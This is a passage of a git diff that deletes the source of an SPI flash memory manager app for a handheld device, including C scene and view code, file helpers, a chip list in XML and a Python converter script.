-bool spi_mem_scene_write_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - UNUSED(app); - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventViewReadCancel) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } else if(event.event == SPIMemCustomEventWorkerBlockReaded) { - spi_mem_view_progress_inc_progress(app->view_progress); - } else if(event.event == SPIMemCustomEventWorkerDone) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneVerify); - } else if(event.event == SPIMemCustomEventWorkerChipFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipError); - } else if(event.event == SPIMemCustomEventWorkerFileFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneStorageError); - } - } - return success; -} -void spi_mem_scene_write_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - spi_mem_view_progress_reset(app->view_progress); - notification_message(app->notifications, &sequence_blink_stop); -} diff --git a/applications/external/spi_mem_manager/spi_mem_app.c b/applications/external/spi_mem_manager/spi_mem_app.c deleted file mode 100644 index 96c3632d0..000000000 --- a/applications/external/spi_mem_manager/spi_mem_app.c +++ /dev/null @@ -1,112 +0,0 @@ -#include -#include "spi_mem_app_i.h" -#include "spi_mem_files.h" -#include "lib/spi/spi_mem_chip_i.h" - -static bool spi_mem_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - SPIMemApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool spi_mem_back_event_callback(void* context) { - furi_assert(context); - SPIMemApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -SPIMemApp* spi_mem_alloc(void) { - SPIMemApp* instance = malloc(sizeof(SPIMemApp)); //-V799 - - instance->file_path = furi_string_alloc_set(STORAGE_APP_DATA_PATH_PREFIX); - instance->gui = furi_record_open(RECORD_GUI); - instance->notifications = furi_record_open(RECORD_NOTIFICATION); - instance->view_dispatcher = view_dispatcher_alloc(); - instance->scene_manager = scene_manager_alloc(&spi_mem_scene_handlers, instance); - instance->submenu = submenu_alloc(); - instance->dialog_ex = dialog_ex_alloc(); - instance->popup = popup_alloc(); - instance->worker = spi_mem_worker_alloc(); - instance->dialogs = furi_record_open(RECORD_DIALOGS); - instance->storage = furi_record_open(RECORD_STORAGE); - instance->widget = widget_alloc(); - instance->chip_info = malloc(sizeof(SPIMemChip)); - found_chips_init(instance->found_chips); - instance->view_progress = spi_mem_view_progress_alloc(); - instance->view_detect = spi_mem_view_detect_alloc(); - instance->text_input = text_input_alloc(); - instance->mode = SPIMemModeUnknown; - - // Migrate data from old sd-card folder - storage_common_migrate(instance->storage, EXT_PATH("spimem"), STORAGE_APP_DATA_PATH_PREFIX); - - view_dispatcher_enable_queue(instance->view_dispatcher); - view_dispatcher_set_event_callback_context(instance->view_dispatcher, instance); - view_dispatcher_set_custom_event_callback( - instance->view_dispatcher, spi_mem_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - instance->view_dispatcher, spi_mem_back_event_callback); - view_dispatcher_attach_to_gui( - instance->view_dispatcher, instance->gui, ViewDispatcherTypeFullscreen); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewSubmenu, submenu_get_view(instance->submenu)); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewDialogEx, dialog_ex_get_view(instance->dialog_ex)); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewPopup, popup_get_view(instance->popup)); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewWidget, widget_get_view(instance->widget)); - view_dispatcher_add_view( - instance->view_dispatcher, - SPIMemViewProgress, - spi_mem_view_progress_get_view(instance->view_progress)); - view_dispatcher_add_view( - instance->view_dispatcher, - SPIMemViewDetect, - spi_mem_view_detect_get_view(instance->view_detect)); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewTextInput, text_input_get_view(instance->text_input)); - - furi_hal_power_enable_otg(); - furi_hal_spi_bus_handle_init(&furi_hal_spi_bus_handle_external); - scene_manager_next_scene(instance->scene_manager, SPIMemSceneStart); - return instance; -} //-V773 - -void spi_mem_free(SPIMemApp* instance) { - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewSubmenu); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewDialogEx); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewPopup); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewWidget); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewProgress); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewDetect); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewTextInput); - spi_mem_view_progress_free(instance->view_progress); - spi_mem_view_detect_free(instance->view_detect); - submenu_free(instance->submenu); - dialog_ex_free(instance->dialog_ex); - popup_free(instance->popup); - widget_free(instance->widget); - text_input_free(instance->text_input); - view_dispatcher_free(instance->view_dispatcher); - scene_manager_free(instance->scene_manager); - spi_mem_worker_free(instance->worker); - free(instance->chip_info); - found_chips_clear(instance->found_chips); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_DIALOGS); - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_GUI); - furi_string_free(instance->file_path); - furi_hal_spi_bus_handle_deinit(&furi_hal_spi_bus_handle_external); - furi_hal_power_disable_otg(); - free(instance); -} - -int32_t spi_mem_app(void* p) { - UNUSED(p); - SPIMemApp* instance = spi_mem_alloc(); - view_dispatcher_run(instance->view_dispatcher); - spi_mem_free(instance); - return 0; -} diff --git a/applications/external/spi_mem_manager/spi_mem_app.h b/applications/external/spi_mem_manager/spi_mem_app.h deleted file mode 100644 index 37ac927db..000000000 --- a/applications/external/spi_mem_manager/spi_mem_app.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -typedef struct SPIMemApp SPIMemApp; diff --git a/applications/external/spi_mem_manager/spi_mem_app_i.h b/applications/external/spi_mem_manager/spi_mem_app_i.h deleted file mode 100644 index 285ca66d2..000000000 --- a/applications/external/spi_mem_manager/spi_mem_app_i.h +++ /dev/null @@ -1,78 +0,0 @@ -#pragma once - -#include -#include -#include -#include "spi_mem_app.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "scenes/spi_mem_scene.h" -#include "lib/spi/spi_mem_worker.h" -#include "spi_mem_manager_icons.h" -#include "views/spi_mem_view_progress.h" -#include "views/spi_mem_view_detect.h" - -#define TAG "SPIMem" -#define SPI_MEM_FILE_EXTENSION ".bin" -#define SPI_MEM_FILE_NAME_SIZE 100 -#define SPI_MEM_TEXT_BUFFER_SIZE 128 - -typedef enum { - SPIMemModeRead, - SPIMemModeWrite, - SPIMemModeCompare, - SPIMemModeErase, - SPIMemModeDelete, - SPIMemModeUnknown -} SPIMemMode; - -struct SPIMemApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - Submenu* submenu; - DialogEx* dialog_ex; - Popup* popup; - NotificationApp* notifications; - FuriString* file_path; - DialogsApp* dialogs; - Storage* storage; - File* file; - Widget* widget; - SPIMemWorker* worker; - SPIMemChip* chip_info; - found_chips_t found_chips; - uint32_t chip_vendor_enum; - SPIMemProgressView* view_progress; - SPIMemDetectView* view_detect; - TextInput* text_input; - SPIMemMode mode; - char text_buffer[SPI_MEM_TEXT_BUFFER_SIZE + 1]; -}; - -typedef enum { - SPIMemViewSubmenu, - SPIMemViewDialogEx, - SPIMemViewPopup, - SPIMemViewWidget, - SPIMemViewTextInput, - SPIMemViewProgress, - SPIMemViewDetect -} SPIMemView; - -typedef enum { - SPIMemCustomEventViewReadCancel, - SPIMemCustomEventViewVerifySkip, - SPIMemCustomEventTextEditResult, - SPIMemCustomEventPopupBack -} SPIMemCustomEvent; diff --git a/applications/external/spi_mem_manager/spi_mem_files.c b/applications/external/spi_mem_manager/spi_mem_files.c deleted file mode 100644 index 9b787bd7f..000000000 --- a/applications/external/spi_mem_manager/spi_mem_files.c +++ /dev/null @@ -1,68 +0,0 @@ -#include "spi_mem_app_i.h" - -bool spi_mem_file_delete(SPIMemApp* app) { - return (storage_simply_remove(app->storage, furi_string_get_cstr(app->file_path))); -} - -bool spi_mem_file_select(SPIMemApp* app) { - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, SPI_MEM_FILE_EXTENSION, &I_Dip8_10px); - browser_options.base_path = STORAGE_APP_DATA_PATH_PREFIX; - bool success = - dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options); - return success; -} - -bool spi_mem_file_create_open(SPIMemApp* app) { - bool success = false; - app->file = storage_file_alloc(app->storage); - do { - if(furi_string_end_with(app->file_path, SPI_MEM_FILE_EXTENSION)) { - if(!spi_mem_file_delete(app)) break; - size_t filename_start = furi_string_search_rchar(app->file_path, '/'); - furi_string_left(app->file_path, filename_start); - } - furi_string_cat_printf(app->file_path, "/%s%s", app->text_buffer, SPI_MEM_FILE_EXTENSION); - if(!storage_file_open( - app->file, furi_string_get_cstr(app->file_path), FSAM_WRITE, FSOM_CREATE_NEW)) - break; - success = true; - } while(0); - if(!success) { //-V547 - dialog_message_show_storage_error(app->dialogs, "Cannot save\nfile"); - } - return success; -} - -bool spi_mem_file_open(SPIMemApp* app) { - app->file = storage_file_alloc(app->storage); - if(!storage_file_open( - app->file, furi_string_get_cstr(app->file_path), FSAM_READ_WRITE, FSOM_OPEN_EXISTING)) { - dialog_message_show_storage_error(app->dialogs, "Cannot save\nfile"); - return false; - } - return true; -} - -bool spi_mem_file_write_block(SPIMemApp* app, uint8_t* data, size_t size) { - if(storage_file_write(app->file, data, size) != size) return false; - return true; -} - -bool spi_mem_file_read_block(SPIMemApp* app, uint8_t* data, size_t size) { - if(storage_file_read(app->file, data, size) != size) return false; - return true; -} - -void spi_mem_file_close(SPIMemApp* app) { - storage_file_close(app->file); - storage_file_free(app->file); -} - -size_t spi_mem_file_get_size(SPIMemApp* app) { - FileInfo file_info; - if(storage_common_stat(app->storage, furi_string_get_cstr(app->file_path), &file_info) != - FSE_OK) - return 0; - return file_info.size; -} diff --git a/applications/external/spi_mem_manager/spi_mem_files.h b/applications/external/spi_mem_manager/spi_mem_files.h deleted file mode 100644 index 6a529d327..000000000 --- a/applications/external/spi_mem_manager/spi_mem_files.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once -#include "spi_mem_app.h" - -bool spi_mem_file_select(SPIMemApp* app); -bool spi_mem_file_create(SPIMemApp* app, const char* file_name); -bool spi_mem_file_delete(SPIMemApp* app); -bool spi_mem_file_create_open(SPIMemApp* app); -bool spi_mem_file_open(SPIMemApp* app); -bool spi_mem_file_write_block(SPIMemApp* app, uint8_t* data, size_t size); -bool spi_mem_file_read_block(SPIMemApp* app, uint8_t* data, size_t size); -void spi_mem_file_close(SPIMemApp* app); -void spi_mem_file_show_storage_error(SPIMemApp* app, const char* error_text); -size_t spi_mem_file_get_size(SPIMemApp* app); diff --git a/applications/external/spi_mem_manager/tools/README.md b/applications/external/spi_mem_manager/tools/README.md deleted file mode 100644 index 91080941f..000000000 --- a/applications/external/spi_mem_manager/tools/README.md +++ /dev/null @@ -1,7 +0,0 @@ -This utility can convert nofeletru's UsbAsp-flash's chiplist.xml to C array - -Usage: -```bash - ./chiplist_convert.py chiplist/chiplist.xml - mv spi_mem_chip_arr.c ../lib/spi/spi_mem_chip_arr.c -``` diff --git a/applications/external/spi_mem_manager/tools/chiplist/LICENSE b/applications/external/spi_mem_manager/tools/chiplist/LICENSE deleted file mode 100644 index 56364f150..000000000 --- a/applications/external/spi_mem_manager/tools/chiplist/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2015 nofeletru - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/applications/external/spi_mem_manager/tools/chiplist/chiplist.xml b/applications/external/spi_mem_manager/tools/chiplist/chiplist.xml deleted file mode 100644 index 91a654743..000000000 --- a/applications/external/spi_mem_manager/tools/chiplist/chiplist.xml +++ /dev/null @@ -1,984 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <_25AA010A page="16" size="128" spicmd="95"/> - <_25AA020A page="16" size="256" spicmd="95"/> - <_25AA040 page="16" size="512" spicmd="95"/> - <_25AA040A page="16" size="512" spicmd="95"/> - <_25AA080 page="16" size="1024" spicmd="95"/> - <_25AA080A page="16" size="1024" spicmd="95"/> - <_25AA080B page="32" size="1024" spicmd="95"/> - <_25AA080C page="16" size="1024" spicmd="95"/> - <_25AA080D page="32" size="1024" spicmd="95"/> - <_25AA1024 page="256" size="131072" spicmd="95"/> - <_25AA128 page="64" size="16384" spicmd="95"/> - <_25AA160 page="16" size="2048" spicmd="95"/> - <_25AA160A page="16" size="2048" spicmd="95"/> - <_25AA160B page="32" size="2048" spicmd="95"/> - <_25AA256 page="64" size="32768" spicmd="95"/> - <_25AA320 page="32" size="4096" spicmd="95"/> - <_25AA512 page="128" size="65536" spicmd="95"/> - <_25AA640 page="32" size="8192" spicmd="95"/> - <_25C040 page="16" size="512" spicmd="95"/> - <_25C080 page="16" size="1024" spicmd="95"/> - <_25C160 page="16" size="2048" spicmd="95"/> - <_25C320 page="32" size="4096" spicmd="95"/> - <_25C640 page="32" size="8192" spicmd="95"/> - <_25LC010A page="16" size="128" spicmd="95"/> - <_25LC020A page="16" size="256" spicmd="95"/> - <_25LC040 page="16" size="512" spicmd="95"/> - <_25LC040A page="16" size="512" spicmd="95"/> - <_25LC080 page="16" size="1024" spicmd="95"/> - <_25LC080A page="16" size="1024" spicmd="95"/> - <_25LC080B page="32" size="1024" spicmd="95"/> - <_25LC080C page="16" size="1024" spicmd="95"/> - <_25LC080D page="32" size="1024" spicmd="95"/> - <_25LC1024 page="256" size="131072" spicmd="95"/> - <_25LC128 page="64" size="16384" spicmd="95"/> - <_25LC160 page="16" size="2048" spicmd="95"/> - <_25LC160A page="16" size="2048" spicmd="95"/> - <_25LC160B page="32" size="2048" spicmd="95"/> - <_25LC256 page="64" size="32768" spicmd="95"/> - <_25LC320 page="32" size="4096" spicmd="95"/> - <_25LC512 page="128" size="65536" spicmd="95"/> - <_25LC640 page="32" size="8192" spicmd="95"/> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <_24Cxxx> - - <_24C01 page="1" size="128" addrtype="1"/> - <_24C02 page="1" size="256" addrtype="1"/> - <_24C04 page="1" size="512" addrtype="2"/> - <_24C08 page="16" size="1024" addrtype="3"/> - <_24C16 page="16" size="2048" addrtype="4"/> - <_24C32 page="32" size="4096" addrtype="5"/> - <_24C64 page="32" size="8192" addrtype="5"/> - <_24C128 page="64" size="16384" addrtype="5"/> - <_24C256 page="64" size="32768" addrtype="5"/> - <_24C512 page="128" size="65536" addrtype="5"/> - <_24C1024 page="128" size="131072" addrtype="6"/> - - - - - - - - - - - - - diff --git a/applications/external/spi_mem_manager/tools/chiplist_convert.py b/applications/external/spi_mem_manager/tools/chiplist_convert.py deleted file mode 100755 index 8b623eb3e..000000000 --- a/applications/external/spi_mem_manager/tools/chiplist_convert.py +++ /dev/null @@ -1,109 +0,0 @@ -#!/usr/bin/env python3 - -import argparse -import xml.etree.ElementTree as XML -import sys - - -def getArgs(): - parser = argparse.ArgumentParser( - description="chiplist.xml to C array converter", - ) - parser.add_argument("file", help="chiplist.xml file") - return parser.parse_args() - - -def getXML(file): - tree = XML.parse(file) - root = tree.getroot() - return root - - -def parseChip(cur, arr, vendor, vendorCodeArr): - chip = {} - chipAttr = cur.attrib - if "page" not in chipAttr: # chip without page size not supported - return - if "id" not in chipAttr: # I2C not supported yet - return - if len(chipAttr["id"]) < 6: # ID wihout capacity id not supported yet - return - chip["modelName"] = cur.tag - chip["vendorEnum"] = "SPIMemChipVendor" + vendor - chip["vendorID"] = "0x" + chipAttr["id"][0] + chipAttr["id"][1] - chip["typeID"] = chipAttr["id"][2] + chipAttr["id"][3] - chip["capacityID"] = chipAttr["id"][4] + chipAttr["id"][5] - chip["size"] = chipAttr["size"] - if chipAttr["page"] == "SSTW": - chip["writeMode"] = "SPIMemChipWriteModeAAIWord" - chip["pageSize"] = "1" - elif chipAttr["page"] == "SSTB": - chip["writeMode"] = "SPIMemChipWriteModeAAIByte" - chip["pageSize"] = "1" - else: - chip["writeMode"] = "SPIMemChipWriteModePage" - chip["pageSize"] = chipAttr["page"] - arr.append(chip) - vendorCodeArr[vendor].add(chip["vendorID"]) - - -def cleanEmptyVendors(vendors): - for cur in list(vendors): - if not vendors[cur]: - vendors.pop(cur) - - -def getVendors(xml, interface): - arr = {} - for cur in xml.find(interface): - arr[cur.tag] = set() - return arr - - -def parseXML(xml, interface, vendorCodeArr): - arr = [] - for vendor in xml.find(interface): - for cur in vendor: - parseChip(cur, arr, vendor.tag, vendorCodeArr) - return arr - - -def getVendorNameEnum(vendorID): - try: - return vendors[vendorID] - except: - print("Unknown vendor: " + vendorID) - sys.exit(1) - - -def generateCArr(arr, filename): - with open(filename, "w") as out: - print('#include "spi_mem_chip_i.h"', file=out) - print("const SPIMemChip SPIMemChips[] = {", file=out) - for cur in arr: - print(" {" + cur["vendorID"] + ",", file=out, end="") - print(" 0x" + cur["typeID"] + ",", file=out, end="") - print(" 0x" + cur["capacityID"] + ",", file=out, end="") - print(' "' + cur["modelName"] + '",', file=out, end="") - print(" " + cur["size"] + ",", file=out, end="") - print(" " + cur["pageSize"] + ",", file=out, end="") - print(" " + cur["vendorEnum"] + ",", file=out, end="") - if cur == arr[-1]: - print(" " + cur["writeMode"] + "}};", file=out) - else: - print(" " + cur["writeMode"] + "},", file=out) - -def main(): - filename = "spi_mem_chip_arr.c" - args = getArgs() - xml = getXML(args.file) - vendors = getVendors(xml, "SPI") - chipArr = parseXML(xml, "SPI", vendors) - cleanEmptyVendors(vendors) - for cur in vendors: - print(' {"' + cur + '", SPIMemChipVendor' + cur + "},") - generateCArr(chipArr, filename) - - -if __name__ == "__main__": - main() diff --git a/applications/external/spi_mem_manager/views/spi_mem_view_detect.c b/applications/external/spi_mem_manager/views/spi_mem_view_detect.c deleted file mode 100644 index eddf36e49..000000000 --- a/applications/external/spi_mem_manager/views/spi_mem_view_detect.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "spi_mem_view_detect.h" -#include "spi_mem_manager_icons.h" -#include - -struct SPIMemDetectView { - View* view; - IconAnimation* icon; - SPIMemDetectViewCallback callback; - void* cb_ctx; -}; - -typedef struct { - IconAnimation* icon; -} SPIMemDetectViewModel; - -View* spi_mem_view_detect_get_view(SPIMemDetectView* app) { - return app->view; -} - -static void spi_mem_view_detect_draw_callback(Canvas* canvas, void* context) { - SPIMemDetectViewModel* model = context; - canvas_set_font(canvas, FontPrimary); - canvas_draw_icon_animation(canvas, 0, 0, model->icon); - canvas_draw_str_aligned(canvas, 64, 26, AlignLeft, AlignCenter, "Detecting"); - canvas_draw_str_aligned(canvas, 64, 36, AlignLeft, AlignCenter, "SPI chip..."); -} - -static void spi_mem_view_detect_enter_callback(void* context) { - SPIMemDetectView* app = context; - with_view_model( - app->view, SPIMemDetectViewModel * model, { icon_animation_start(model->icon); }, false); -} - -static void spi_mem_view_detect_exit_callback(void* context) { - SPIMemDetectView* app = context; - with_view_model( - app->view, SPIMemDetectViewModel * model, { icon_animation_stop(model->icon); }, false); -} - -SPIMemDetectView* spi_mem_view_detect_alloc() { - SPIMemDetectView* app = malloc(sizeof(SPIMemDetectView)); - app->view = view_alloc(); - view_set_context(app->view, app); - view_allocate_model(app->view, ViewModelTypeLocking, sizeof(SPIMemDetectViewModel)); - with_view_model( - app->view, - SPIMemDetectViewModel * model, - { - model->icon = icon_animation_alloc(&A_ChipLooking_64x64); - view_tie_icon_animation(app->view, model->icon); - }, - false); - view_set_draw_callback(app->view, spi_mem_view_detect_draw_callback); - view_set_enter_callback(app->view, spi_mem_view_detect_enter_callback); - view_set_exit_callback(app->view, spi_mem_view_detect_exit_callback); - return app; -} - -void spi_mem_view_detect_free(SPIMemDetectView* app) { - with_view_model( - app->view, SPIMemDetectViewModel * model, { icon_animation_free(model->icon); }, false); - view_free(app->view); - free(app); -} diff --git a/applications/external/spi_mem_manager/views/spi_mem_view_detect.h b/applications/external/spi_mem_manager/views/spi_mem_view_detect.h deleted file mode 100644 index f95edb60d..000000000 --- a/applications/external/spi_mem_manager/views/spi_mem_view_detect.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once -#include - -typedef struct SPIMemDetectView SPIMemDetectView; -typedef void (*SPIMemDetectViewCallback)(void* context); - -View* spi_mem_view_detect_get_view(SPIMemDetectView* app); -SPIMemDetectView* spi_mem_view_detect_alloc(); -void spi_mem_view_detect_free(SPIMemDetectView* app); diff --git a/applications/external/spi_mem_manager/views/spi_mem_view_progress.c b/applications/external/spi_mem_manager/views/spi_mem_view_progress.c deleted file mode 100644 index 790f97997..000000000 --- a/applications/external/spi_mem_manager/views/spi_mem_view_progress.c +++ /dev/null @@ -1,230 +0,0 @@ -#include "spi_mem_view_progress.h" -#include - -struct SPIMemProgressView { - View* view; - SPIMemProgressViewCallback callback; - void* cb_ctx; -}; - -typedef enum { - SPIMemProgressViewTypeRead, - SPIMemProgressViewTypeVerify, - SPIMemProgressViewTypeWrite, - SPIMemProgressViewTypeUnknown -} SPIMemProgressViewType; - -typedef struct { - size_t chip_size; - size_t file_size; - size_t blocks_written; - size_t block_size; - float progress; - SPIMemProgressViewType view_type; -} SPIMemProgressViewModel; - -View* spi_mem_view_progress_get_view(SPIMemProgressView* app) { - return app->view; -} - -static void spi_mem_view_progress_draw_progress(Canvas* canvas, float progress) { - FuriString* progress_str = furi_string_alloc(); - if(progress > 1.0) progress = 1.0; - furi_string_printf(progress_str, "%d %%", (int)(progress * 100)); - elements_progress_bar(canvas, 13, 35, 100, progress); - canvas_draw_str_aligned( - canvas, 64, 25, AlignCenter, AlignTop, furi_string_get_cstr(progress_str)); - furi_string_free(progress_str); -} - -static void - spi_mem_view_progress_read_draw_callback(Canvas* canvas, SPIMemProgressViewModel* model) { - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Reading dump"); - spi_mem_view_progress_draw_progress(canvas, model->progress); - elements_button_left(canvas, "Cancel"); -} - -static void - spi_mem_view_progress_draw_size_warning(Canvas* canvas, SPIMemProgressViewModel* model) { - if(model->file_size > model->chip_size) { - canvas_draw_str_aligned(canvas, 64, 13, AlignCenter, AlignTop, "Size clamped to chip!"); - } - if(model->chip_size > model->file_size) { - canvas_draw_str_aligned(canvas, 64, 13, AlignCenter, AlignTop, "Size clamped to file!"); - } -} - -static void - spi_mem_view_progress_verify_draw_callback(Canvas* canvas, SPIMemProgressViewModel* model) { - canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "Verifying dump"); - spi_mem_view_progress_draw_size_warning(canvas, model); - spi_mem_view_progress_draw_progress(canvas, model->progress); - elements_button_center(canvas, "Skip"); -} - -static void - spi_mem_view_progress_write_draw_callback(Canvas* canvas, SPIMemProgressViewModel* model) { - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Writing dump"); - spi_mem_view_progress_draw_size_warning(canvas, model); - spi_mem_view_progress_draw_progress(canvas, model->progress); - elements_button_left(canvas, "Cancel"); -} - -static void spi_mem_view_progress_draw_callback(Canvas* canvas, void* context) { - SPIMemProgressViewModel* model = context; - SPIMemProgressViewType view_type = model->view_type; - if(view_type == SPIMemProgressViewTypeRead) { - spi_mem_view_progress_read_draw_callback(canvas, model); - } else if(view_type == SPIMemProgressViewTypeVerify) { - spi_mem_view_progress_verify_draw_callback(canvas, model); - } else if(view_type == SPIMemProgressViewTypeWrite) { - spi_mem_view_progress_write_draw_callback(canvas, model); - } -} - -static bool - spi_mem_view_progress_read_write_input_callback(InputEvent* event, SPIMemProgressView* app) { - bool success = false; - if(event->type == InputTypeShort && event->key == InputKeyLeft) { - if(app->callback) { - app->callback(app->cb_ctx); - } - success = true; - } - return success; -} - -static bool - spi_mem_view_progress_verify_input_callback(InputEvent* event, SPIMemProgressView* app) { - bool success = false; - if(event->type == InputTypeShort && event->key == InputKeyOk) { - if(app->callback) { - app->callback(app->cb_ctx); - } - success = true; - } - return success; -} - -static bool spi_mem_view_progress_input_callback(InputEvent* event, void* context) { - SPIMemProgressView* app = context; - bool success = false; - SPIMemProgressViewType view_type; - with_view_model( - app->view, SPIMemProgressViewModel * model, { view_type = model->view_type; }, true); - if(view_type == SPIMemProgressViewTypeRead) { - success = spi_mem_view_progress_read_write_input_callback(event, app); - } else if(view_type == SPIMemProgressViewTypeVerify) { - success = spi_mem_view_progress_verify_input_callback(event, app); - } else if(view_type == SPIMemProgressViewTypeWrite) { - success = spi_mem_view_progress_read_write_input_callback(event, app); - } - return success; -} - -SPIMemProgressView* spi_mem_view_progress_alloc() { - SPIMemProgressView* app = malloc(sizeof(SPIMemProgressView)); - app->view = view_alloc(); - view_allocate_model(app->view, ViewModelTypeLocking, sizeof(SPIMemProgressViewModel)); - view_set_context(app->view, app); - view_set_draw_callback(app->view, spi_mem_view_progress_draw_callback); - view_set_input_callback(app->view, spi_mem_view_progress_input_callback); - spi_mem_view_progress_reset(app); - return app; -} - -void spi_mem_view_progress_free(SPIMemProgressView* app) { - view_free(app->view); - free(app); -} - -void spi_mem_view_progress_set_read_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx) { - app->callback = callback; - app->cb_ctx = cb_ctx; - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { model->view_type = SPIMemProgressViewTypeRead; }, - true); -} - -void spi_mem_view_progress_set_verify_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx) { - app->callback = callback; - app->cb_ctx = cb_ctx; - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { model->view_type = SPIMemProgressViewTypeVerify; }, - true); -} - -void spi_mem_view_progress_set_write_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx) { - app->callback = callback; - app->cb_ctx = cb_ctx; - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { model->view_type = SPIMemProgressViewTypeWrite; }, - true); -} - -void spi_mem_view_progress_set_chip_size(SPIMemProgressView* app, size_t chip_size) { - with_view_model( - app->view, SPIMemProgressViewModel * model, { model->chip_size = chip_size; }, true); -} - -void spi_mem_view_progress_set_file_size(SPIMemProgressView* app, size_t file_size) { - with_view_model( - app->view, SPIMemProgressViewModel * model, { model->file_size = file_size; }, true); -} - -void spi_mem_view_progress_set_block_size(SPIMemProgressView* app, size_t block_size) { - with_view_model( - app->view, SPIMemProgressViewModel * model, { model->block_size = block_size; }, true); -} - -static size_t spi_mem_view_progress_set_total_size(SPIMemProgressViewModel* model) { - size_t total_size = model->chip_size; - if((model->chip_size > model->file_size) && model->view_type != SPIMemProgressViewTypeRead) { - total_size = model->file_size; - } - return total_size; -} - -void spi_mem_view_progress_inc_progress(SPIMemProgressView* app) { - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { - size_t total_size = 